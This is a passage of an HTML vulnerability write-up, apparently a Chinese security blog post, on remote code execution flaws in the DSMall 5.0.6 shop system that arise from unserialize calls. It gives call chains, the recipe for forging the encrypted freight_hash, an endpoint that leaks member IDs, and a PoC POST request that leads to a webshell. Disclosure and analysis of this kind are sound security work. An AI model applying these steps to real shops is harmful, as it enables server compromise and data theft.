src="https://wechat2rss.xlab.app/img-proxy/?k=69c3c966&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLbP6oEG1C6u0yo1GVmfUqfiaawNkPzaZx4wTZQpO6c9hRuwUjyRlIQEQ%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><h3 style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: 173%;break-after: avoid;font-size: 16pt;font-family: 等线;margin-top: 16.8pt;margin-bottom: 13.2pt;background: rgb(255, 255, 255);"><span style="font-family:等线;color:#444444;">漏洞利用</span><span style="font-size:13.5pt;line-height:173%;font-family:Helvetica;color:#444444;"></span></h3><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">生成cookie信息并设置访问浏览历史即可getshell</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;"><a href="http://test.com/dsmall506/public/home/index/viewed_info" target="_blank">http://test.com/dsmall506/public/home/index/viewed_info</a></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">生成cookie信息：</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.3140794223826715" style="width: 553.73px;height: 173.8px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=c21b0367&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLKDA33smyVdqVDcIQ6Yk1Xr9Cv0dIhUcfgIetmyekICGff65Emm4IgA%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.3916967509025271" style="width: 553.73px;height: 216.87px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=a6b8571e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLgjhxsZRsmibMwd9SThNFhKS0iatQzgIyhmAZ7GJziaTHr5iaaEDy6xTTDw%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">调用栈：</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.6895306859205776" style="width: 553.73px;height: 382.4px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=ee983782&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML9mD3SnZWTzsta9fI2B7a4SyZjibW5Yd4gGPmJiaTnyWFBbuia9vqiavxTw%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><h2 style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: 173%;break-after: avoid;font-size: 16pt;font-family: &#34;等线 Light&#34;;margin-top: 16.8pt;margin-bottom: 13.2pt;border-bottom: 1pt solid rgb(238, 238, 238);padding: 0pt;background: rgb(255, 255, 255);"><span style="font-family:等线 Light;color:#444444;">远程代码执行漏洞三</span><span style="font-size:18.0pt;line-height:173%;font-family:Helvetica;color:#444444;"></span></h2><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">利用条件：前台注册账户<br/>公共模块logic\Buy.php buyDecrypt 方法中存在可以被用户控制的反序列化操作，利用thinkphp5的代码执行反序列化pop chain 可以往目标服务器写文件getshell.<br/>\application\common\logic\Buy.php<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.23869801084990958" style="width: 553.73px;height: 131.8px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=d1f2186c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML6oKxtB1VeBdOBVEORP7EF2FFibg5cAe7iaOxDoG7w63XibKKnYmN6vn1w%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">查看对buyDecrypt的函数调用，发现有多处调用且参数都可以被用户控制，这里利用修改地址changeAddr这条利用链。</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.24773960216998192" style="width: 553.73px;height: 136.8px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=b087b93d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML2FjPXWdmiaQP5N9ciae2IsorLQNWfI4iaFicIIeaB0iaJqCoaTUpfGLNeibg%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">\application\common\logic\Buy.php</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">public function changeAddr($freight_hash, $city_id, $area_id, $member_id)</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">\application\home\controller\Buy.php</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.25678119349005424" style="width: 553.73px;height: 141.73px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=12297804&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLu2SaKv7EGezgVoAdBtukaCSicXJzicufuMpxYTJtHBJ8CgvqqibFP4tGA%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">调用栈</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">—&gt;\home\controller\Buy.php\change_addr()—&gt;common\logic\Buy.php\changeAddr()—&gt;&gt;common\logic\Buy.php\buyDecrypt()</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.6516245487364621" style="width: 553.73px;height: 360.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=b1ec6797&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLT7PARgibzt8UficZVDVn9urXJ9HqLib64LOHHJcfQicbBPk49pb4o0w9Rg%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">漏洞利用：</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">通过分析我们知道</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">Unserizlize(base64_decode(ds_decrypt(strval($string), sha1(md5($member_id . ‘&amp;’ . MD5_KEY))</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">, 0)))</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">$key=sha1(md5($member_id . ‘&amp;’ . MD5_KEY))</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">$_POST[freight_hash] =ds_encrypt(strval(base64_encode(serialize($a))),$key);</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">A) MD5_KEY 是一个常量，从源码中获取</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">B) $member_id可以通过文件上传文件接口dsmall506/public/index.php?s=home/Snsalbum/swfupload 获取</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.05054151624548736" style="width: 553.73px;height: 28.13px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=0c9517be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLQgnHgkSamjnUpgBtFfE6V3xXxOYDelNUultLEPy1xSgwMoU9micxIMg%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.09927797833935018" style="width: 553.73px;height: 55.47px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=5cf085b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML4bALhS3cDmkjCibfe76LnUAibFEicl6gjiaBtXx7jpjzASjSWRV47uAC2g%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">Poc:</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.27486437613019893" style="width: 553.73px;height: 152.53px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=b9db16b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLhhSBAHNiacZAIVtHZPZgLjkPkOeymoz3MuMFNaldMgeNx6SOUMibeXPA%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">Url:</span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;"><a href="http://test.com/dsmall506/public/index.php?s=home/Buy/change_addr" target="_blank">http://test.com/dsmall506/public/index.php?s=home/Buy/change_addr</a></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">Post:city_id=1&amp;area_id=1&amp;freight_hash=se1atRqVpfbQo1INkwRgOXeQIUpFfKnR5lnhQVmjUhnYB9v1NU7JxIxWFRYDA6ihAavR_QiUcQ8</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2549728752260398" style="width: 553.73px;height: 140.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=096c501c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLqibMY0RFMleJKppNHYPiaDekGqNSrLGSRfCFRfyKcbeUpvWfj8u21wrQ%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.5877034358047016" style="width: 553.73px;height: 325.8px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=63f579a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLc0PUwPNJ6ovPlcD9q7ibgiatZxSKickibR7ibsicuCglhEnnh9ewQ5aCvMLw%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.4314079422382672" style="width: 553.73px;height: 239.2px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=6c52362b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLHVrkOnmXxOfXymaPTDbWoa2DNJafMr7t3NXZDKRPnzsQ4V4ibGSNkDQ%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><h2 style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: 173%;break-after: avoid;font-size: 16pt;font-family: &#34;等线 Light&#34;;margin-top: 16.8pt;margin-bottom: 13.2pt;border-bottom: 1pt solid rgb(238, 238, 238);padding: 0pt;background: rgb(255, 255, 255);"><span style="font-family:等线 Light;color:#444444;">远程代码执行漏洞四</span><span style="font-size:18.0pt;line-height:173%;font-family:Helvetica;color:#444444;"></span></h2><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">利用条件：无<br/>公共模块model\Cart.php getCartList和getCartNum<br/>方法中存在可以被用户控制的反序列化操作，利用thinkphp5的代码执行反序列化pop chain 可以往目标服务器写文件getshell.<br/>\application\common\model\Cart.php<br/>getCartList 方法反序列化<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.1609403254972875" style="width: 553.73px;height: 89.53px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=7853659c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML5ujCj1JgVUBNJcNbEre6FkJjzX1sdfXXwpFoEBowCSTmiaS3APmq30w%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">getCartNum反序列化<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.21299638989169675" style="width: 553.73px;height: 118.4px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=b2e2c475&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLNZmdmwlUQNsgryXibBznv5V37E6aCHOzbfrIATjq52f81keQHBJno4A%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">这里对getCartNum这个点的利用进行分析一下。通过查找存在多处对getCartNum的函数的调用，跟踪分析controller子类BaseHome中有一条简单方便的call chain，这条调用链的起点来自BaseHome类的初始化函数中，因此该类的所有子孙类的任何方法调用都会触发这条调用链。整个调用过程：<br/>BaseHome::_initialize-&gt;BaseHome::showCartCount-&gt;Cart::getCartNum<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.081374321880651" style="width: 553.73px;height: 44.8px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=5eaa8989&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLicibOl1rb7DFxMHlzqhFW96DU99zIQcdhFKQpfibxqmPJm4kibicsSNhKBA%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.7166064981949458" style="width: 553.73px;height: 397.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=78301228&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML5EzuxgQB4oNJf4ctH0ibWGDzkcxcGLYoYEAVt9bJOiaKWHiaFSgk6hmnA%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">阅读showCartCount函数代码，我们知晓要能够触发反序列化操作，必须满足以下两个条件：</span></p><p style="margin-left: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;text-indent: -18pt;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">1.<span style="font:7.0pt Times New Roman;"></span></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">Cookie[‘cart_goods_num’]为空</span></p><p style="margin-left: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;text-indent: -18pt;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">2.<span style="font:7.0pt Times New Roman;"></span></span><span style="font-size:11.5pt;font-family:宋体;color:#444444;">用户处于未登录状态<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.36101083032490977" style="width: 553.73px;height: 200.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=6a217b4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLrWBOqjtcvlE3BacURqicQMo1AyUiasnDbSzKqGr9IKwrtm77xsSib2cvA%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/>Poc：<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.5949367088607594" style="width: 553.73px;height: 329.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=266cf28e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLp7EvrblmPgtNWNTSR5dP1OKGaqcuVzJ8pibxeNIOpkbmlmJ6XHU2CDg%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.42857142857142855" style="width: 553.73px;height: 237.07px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=03728b86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML8iazOiabKfeunqvPL9hXhtvSf0LIEec4yliawXicXJibiaJqSzxv2wK6y0dg%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.5063291139240507" style="width: 553.73px;height: 280.13px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=940899ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLWM2tuTiaaDFeK701zaXUd4zJicjCT8a9AUmQ0iakib9ZibXlnjbDmceUITQ%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><h2 style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: 173%;break-after: avoid;font-size: 16pt;font-family: &#34;等线 Light&#34;;margin-top: 16.8pt;margin-bottom: 13.2pt;border-bottom: 1pt solid rgb(238, 238, 238);padding: 0pt;background: rgb(255, 255, 255);"><span style="font-family:等线 Light;color:#444444;">远程代码执行漏洞五</span><span style="font-size:18.0pt;line-height:173%;font-family:Helvetica;color:#444444;"></span></h2><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 